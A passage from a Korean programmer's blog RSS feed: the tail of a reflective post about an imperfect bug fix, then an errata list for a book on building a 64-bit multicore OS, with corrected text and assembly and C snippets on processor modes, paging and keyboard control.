&lt;br /&gt;그래서 다들 동의하고 그렇게 코드를 수정했는데요, 다른 팀에서 코드 리뷰를 하다가... &lt;span style=&quot;font-weight: bold;&quot;&gt;배열에서 A 값으로 바뀌는 인덱스만 배열과 백업 배열을 비교한 뒤에 값을 덮어쓰자는 의견을 냈습니다&lt;/span&gt;. 가만히 생각해보니 이게 더 맞는 수정이더군요. 사실 우리가 배열의 값이&amp;nbsp; &quot;A&quot;로 바뀌는 상황만 봤는데, 사실 지금은 A지만 나중에는 B가 될 여지도 있었거든요. ㅠㅠ&lt;br /&gt;
&lt;br /&gt;하지만, 이미 코드는 수정되어 릴리즈된 뒤라 더 이상 고칠 수가 없어서 그냥 두었습니다. ㅠㅠ 왠지 찝찝한게 다시 문제가 생길 것 같은 느낌이 들어서 마음이 무겁네요.&lt;br /&gt;
&lt;br /&gt;제가 한 곳에 꽂히면 계속 그 부분만 파고드는 스타일이라서... 넓게 생각하지 못한 것이 많이 아쉽군요. 다음 부터는 조금 더 여유를 갖고 생각한 뒤 문제를 풀어야겠습니다. 에혀... 이런 걸 보면 전 아직 멀었나봅니다. ^^;;; 기본 중에 기본에서 흔들리니 원....&lt;br /&gt;
&lt;br /&gt;내공이나 쌓으러 가야겠군요. ㅠㅠ&lt;br /&gt;
그럼 즐거운 주말 되세요 ;)&lt;br /&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-782-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-782-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-782-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div style='text-align: center; margin: 10px auto; height: 91px; overflow: hidden; clear: both;'&gt;&lt;iframe title='mixUP 위젯' src='http://mixsh.com/widget/new_mixup/loader_plugin.html?domain=kkamagui.tistory.com&amp;media_type=10&amp;guid=kkamagui.tistory.com%2F782&amp;regts=1323483145&amp;showhitcnt=1&amp;platform=10' frameBorder='0' scrolling='no' allowTransparency='true' width='402' height='130'&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class=&quot;another_category another_category_color_red&quot;&gt;
&lt;h4&gt;'&lt;a href=&quot;/category/잡담&quot;&gt;잡담&lt;/a&gt;' 카테고리의 다른 글&lt;/h4&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/787&quot; &gt;2011년을 마감하며....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2012/01/01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/785&quot; &gt;최근 보고 있는 책 2권을 소개합니다~!!&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/782&quot; &gt;앞으로 수련을 더 열심히 해야 겠군요. ㅠㅠ&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(0)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/12/10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/779&quot; &gt;이 밤의 끝을 잡고....&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(6)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/11/16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/778&quot; &gt;조선일보가 &amp;quot;국민연금 더 내게 해달라고 때쓰는 이유&amp;quot;...&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(2)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/11/12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;
&lt;a href=&quot;/777&quot; &gt;요 며칠 골머리를 앓고 있던 버그를 잡았습니다. &amp;gt;ㅁ&amp;lt;)-b&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;span&gt;(4)&lt;/span&gt;
&lt;/th&gt;
&lt;td&gt;
2011/11/09&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;/div&gt;</description>
			<category>잡담</category>
			<category>내공수련</category>
			<category>문제</category>
			<author>kkamagui</author>
			<guid>http://kkamagui.tistory.com/782</guid>
			<comments>http://kkamagui.tistory.com/782#entry782comment</comments>
			<pubDate>Sat, 10 Dec 2011 11:12:25 +0900</pubDate>
		</item>
		<item>
			<title>64비트 멀티코어 OS 원리와 구조 오탈자 리스트 - 2011/11/29 업데이트</title>
			<link>http://kkamagui.tistory.com/781</link>
			<description>&lt;p&gt;굵게 표시된 부분이 오타가 수정된 부분입니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;h1 style=&quot;text-align: center;&quot;&gt;==== 1권의 오탈자 내용 ====&lt;br /&gt;
&lt;/h1&gt;&lt;p&gt;&lt;b&gt;*. 79 Page, 아래에서 5 번째 줄 &lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;보호 모드는 IA-32e 모드로 전환하려면 &lt;b&gt;공식적으로 거쳐야 하는&lt;/b&gt; 모드로, 32비트 윈도우나 리눅스 OS가 동작하는 기본 모드입니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 80 Page, 위에서 6 번째 IA-3e 모드를 IA-32e 모드로 수정&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;&lt;b&gt;IA-32e 모드&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 80 Page, 아래에서 5 번째줄 &lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;리얼 모드에서 전환할 수 있는 모드는 &lt;b&gt;공식적으로 보호 모드&lt;/b&gt;뿐
이며, 보호 모드에서는 가상 8086 모드나 IA-32e 모드, 다시 리얼 모드로 전환할 수 있습니다. 시스템 관리 모드는 모든 
모드에서 진입할 수 있고, 처리가 끝나 이전의 운영 모드로 복귀하거나 리셋을 통해 리얼 모드로 진입할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 80 Page, 아래에서 3 번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;화살표가 연결되지 않은 리얼 모드에서 IA-32e 모드로 전환하는 것은 불가능하며, 무리하게 시도하면 리셋이나 예외가 발생할 수있습니다&lt;b&gt;(실제 편법을 사용하면 가능하긴 하지만 여기서는 다루지 않습니다)&lt;/b&gt;.&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 83 Page, [그림 3-3]에서 128비트 XMM 레지스터(16개), 64비트 RIP, 64비트 RFLAGS, CR8 레지스터 부분 수정됨&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;img rel=&quot;xe_gallery&quot; src=&quot;http://jsandroidapp.cafe24.com/xe/files/attach/images/115/517/%5B%EA%B7%B8%EB%A6%BC%203-3%5D.PNG&quot; alt=&quot;[그림 3-3].PNG&quot; title=&quot;[그림 3-3].PNG&quot; class=&quot;iePngFix&quot; style=&quot;&quot; height=&quot;754&quot; width=&quot;457&quot;&gt;
&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 85 Page의 &quot;여기서 잠깐&quot;의 시작에서 6번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;곱셈 명령은 AX와 오퍼랜드를 곱한 후, 그 결과를 &lt;b&gt;DX:AX나&lt;/b&gt; 혹은 AX에 저장하도록 설계되었습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;*. 87 Page 아래에서 5번째 줄부터...&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;그렇다면 어떻게 해야 할까요? &lt;span style=&quot;font-weight: bold;&quot;&gt;프로세서 제조사에서는 이런 경우를 대비하여 무조건 분기 명령어(jmp)에 예외를 두었습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px; font-weight: bold;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;즉, 무조건 분기 명령어의 오퍼랜드의 크기는 기본 64비트로 하여 전체 어드레스 범위에서 이동이 가능하도록 한 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;[그림 3-5]는 RIP 상대 어드레스를 사용하여 표현 가능한 어드레스 영역과 &lt;span style=&quot;font-weight: bold;&quot;&gt;무조건 분기 명령어&lt;/span&gt;를 사용해서 접근할 수 있는 영역에 대해&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;나타낸 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;*. 88 Page [그림 3-5]&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;img rel=&quot;xe_gallery&quot; src=&quot;http://jsandroidapp.cafe24.com/xe/files/attach/images/115/517/%5B%EA%B7%B8%EB%A6%BC%203-5%5D.png&quot; alt=&quot;[그림 3-5].png&quot; title=&quot;[그림 3-5].png&quot; class=&quot;iePngFix&quot; style=&quot;&quot; height=&quot;427&quot; width=&quot;637&quot;&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;b&gt;*. 113 Page 아래에서 8번째 줄&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0px 0px 0px 40px; padding: 0px;&quot;&gt;그 위쪽에서 두 파일은 a.c와 b.c로부터 &lt;span style=&quot;font-weight: bold;&quot;&gt;생성되는 것을&lt;/span&gt; 알 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0px 0px 0px 40px; padding: 0px;&quot;&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;b&gt;*.&amp;nbsp;141 Page 위에서 6번째 줄,&amp;nbsp;154 Page 아래서 5번째 줄, 2861 Page 위에서 7번째 줄, 2872 Page 맨 밑줄&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; &quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;xor byte [ HEADNUMBER ], 0x01&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;; 헤드 번호를 0x01과 XOR 하여 토글&lt;b&gt;(0-&amp;gt;1, 1-&amp;gt;0)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 142 Page, 아래서 3번째줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;x86 프로세서의 스택은 [그림 5-3]과 같이 데이터가 삽입될 때마다 스택의 상위(Top)를 나타내는 &lt;b&gt;스택 포인터 레지스터(SP)&lt;/b&gt;가 낮은 어드레스(0x00에 가까운 어드레스)로 이동합니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 143 Page, 밑에서 10째줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;또한 스택은 넉넉한 것이 좋으므로 스택 포인터 레지스터(SP)와 &lt;b&gt;베이스 포인터 레지스터(BP)&lt;/b&gt;를 0xFFFF로 설정하여, 스택 영역의 크기를 세그먼트의 최대 크기로 지정하겠습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;*.149 Page, 아래에서 13번째 줄&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ret 12&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;font-weight: bold;&quot;&gt;; 호출한 함수로 복귀한 후, 스택에 삽입된 파라미터 3개를 제거(3*4) &quot;ret&quot; &quot;add esp, 12&quot;와 같은 역할&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^^^^^^ &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;font-weight: bold;&quot;&gt;ret 수행 후 스택 포인터(SP)를 12만큼 더함. &lt;/span&gt;보호모드 코드이므로 &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 레지스터의 기본 크기 및 스택의 기본 크기가 32비트(4바이트)이기 때문에 4*3 = 12만큼 더함&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;*.151 Page, 위에서 15번째 줄&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ret 4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;font-weight: bold;&quot;&gt;; 호출한 함수로 복위한 후, 스택에 삽입된 파라미터 1개를 제거(1*4) &quot;ret&quot; &quot;add esp, 4&quot;와 같은 역할&lt;/span&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^^^^^^^&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;font-weight: bold;&quot;&gt;ret 수행 후 스택 포인터(SP)를 4만큼 더함.&lt;/span&gt; 보호 모드 코드이므로 &lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 레지스터의 기본 크기와 스택의 기본 크기가 32비트(4바이트)이기 때문에 4*1 = 4만큼 더함&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 161 Page, 아래서 5번째줄 Code&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;&lt;b&gt;; 512 - ( $ - $$ ) % 512 : 현재부터 어드레스 512까지&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 213 Page, 가장 아래번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;보호 모드 엔트리 포인트(&lt;span style=&quot;font-weight: bold;&quot;&gt;EntryPoint.s&lt;/span&gt;) 코드에서 최초로 실행되는 C 코드입니다.&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*.&lt;/b&gt; &lt;b&gt;251 Page, [그림 9-2] 페이지 디렉터리 엔트리 부분&lt;/b&gt;에서 &lt;b&gt;PS1을 PS&lt;/b&gt;로 수정&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;img rel=&quot;xe_gallery&quot; src=&quot;http://jsandroidapp.cafe24.com/xe/files/attach/images/115/517/%5B%EA%B7%B8%EB%A6%BC%209-2%5D.PNG&quot; alt=&quot;[그림 9-2].PNG&quot; title=&quot;[그림 9-2].PNG&quot; class=&quot;iePngFix&quot; style=&quot;&quot; height=&quot;255&quot; width=&quot;581&quot;&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 261 Page, 위에서 4번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;kSetPageEntryData( &amp;amp;( &lt;span style=&quot;font-weight: bold;&quot;&gt;pstPML4TEntry[ 0 ] &lt;/span&gt;), 0x00, 0x101000, PAGE_FLAGS_DEFAULT, 0 );&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 263 Page, [그림 9-5]의 XMSE를 SMXE로 수정&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;img rel=&quot;xe_gallery&quot; src=&quot;http://jsandroidapp.cafe24.com/xe/files/attach/images/115/517/%5B%EA%B7%B8%EB%A6%BC%209-5%5D.PNG&quot; alt=&quot;[그림 9-5].PNG&quot; title=&quot;[그림 9-5].PNG&quot; class=&quot;iePngFix&quot; style=&quot;&quot; height=&quot;166&quot; width=&quot;592&quot;&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 266 Page, 소스 코드에서 위에서 10째줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	// 1 비트 P, RW, US, PWT, PCD, A, D, &lt;/span&gt;&lt;b&gt;PS&lt;/b&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;, G, 3 비트 Avail, 1 비트 PAT, &lt;b&gt;8 비트 &lt;/b&gt;&lt;/span&gt;&lt;b&gt;Reserved&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;,&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 283 Page, [표 10-2] IA32_EFER 레지스터의 비트 구성에서 7번째 줄 LMA 항목&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;LMA&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;읽기 전용&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre; &quot;&gt;	&lt;/span&gt;-1로 &lt;b&gt;설정되면&lt;/b&gt; 프로세서 모드가 IA-32e 모드(호환 모드 또는 64비트 모드)임을 나타내며, 0으로 &lt;b&gt;설정되면&lt;/b&gt; 프로세서 모드가 기타 모드임을 나타냄&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*.283 Page, 밑에서 10째줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;[표 10-2]에서 보는 것과 같이 IA-32e 모드 활성화 여부는 &lt;b&gt;비트 8에&lt;/b&gt; 위치하는 LME 비트와 관계가 있고 이 비트를 1로 설정하면 IA-32e 모드를 활성화할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*.288 Page [예제 10-2] 위에서 1째줄&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;#ifndef &lt;b&gt;__MODESWITCH_H__&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space:pre&quot;&gt;	&lt;/span&gt;#define &lt;b&gt;__MODESWITCH_H__&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 333 Page&amp;nbsp;아래쪽&lt;/b&gt;과&amp;nbsp;&lt;b&gt;351 Page 가운데&lt;/b&gt; 부분, &lt;b&gt;482 Page 윗부분&lt;/b&gt;&lt;/p&gt;
&lt;blockquote class=&quot;webkit-indent-blockquote&quot; style=&quot;margin: 0 0 0 40px; border: none; padding: 0px;&quot;&gt;&lt;p&gt;BOOL kChangeKeyboardLED( BOOL bCapsLockOn, BOOL bNumLockOn, BOOL bScrollLockOn )&lt;/p&gt;
&lt;p&gt;{&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; int i, j;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; // 키보드에 LED 변경 커맨드 전송하고 커맨드가 처리될 때까지 대기&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; for( i = 0 ; i &amp;lt; 0xFFFF ; i++ )&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; {&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;b&gt;// 입력 버퍼(포트 0x60)가 비었으면 커맨드 전송 가능&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if( kIsInputBufferFull() == FALSE )&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;
&lt;p&gt;&amp;nbsp; &amp;nbsp; }&lt;/p&gt;
&lt;p&gt;... &amp;nbsp; 생략 ...&lt;/p&gt;
&lt;/blockquote&gt;&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;*. 334 Page 위에서 3번째 줄&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;// &lt;span style=&quot;font-weight: bold;&quot;&gt;입력 &lt;/span&gt;버퍼(포트 0x60)로 LED 상태 편경 커맨드(0xED) 전송&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;kOutPortByte( 0x60, 0xED );&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;... 생략 ...&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;*. 341 Page 위에서 15번째 줄, 357 Page 아래에서 5번째 줄&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;BOOL kIsUseCombinedCode( &lt;span style=&quot;font-weight: bold;&quot;&gt;BYTE &lt;/span&gt;bScanCode )&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;p style=&quot;font-weight: bold;&quot;&gt;*. 341 Page, 위에서 18번째 줄, 357 Page, 아래에서 2번째 줄&lt;/p&gt;
&lt;p style=&quot;margin-left: 40px;&quot;&gt;BOOL bUseCombinedKey&lt;span style=&quot;font-weight: bold;&quot;&gt; = FALSE&lt;/span&gt;;&lt;br /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/p&gt;
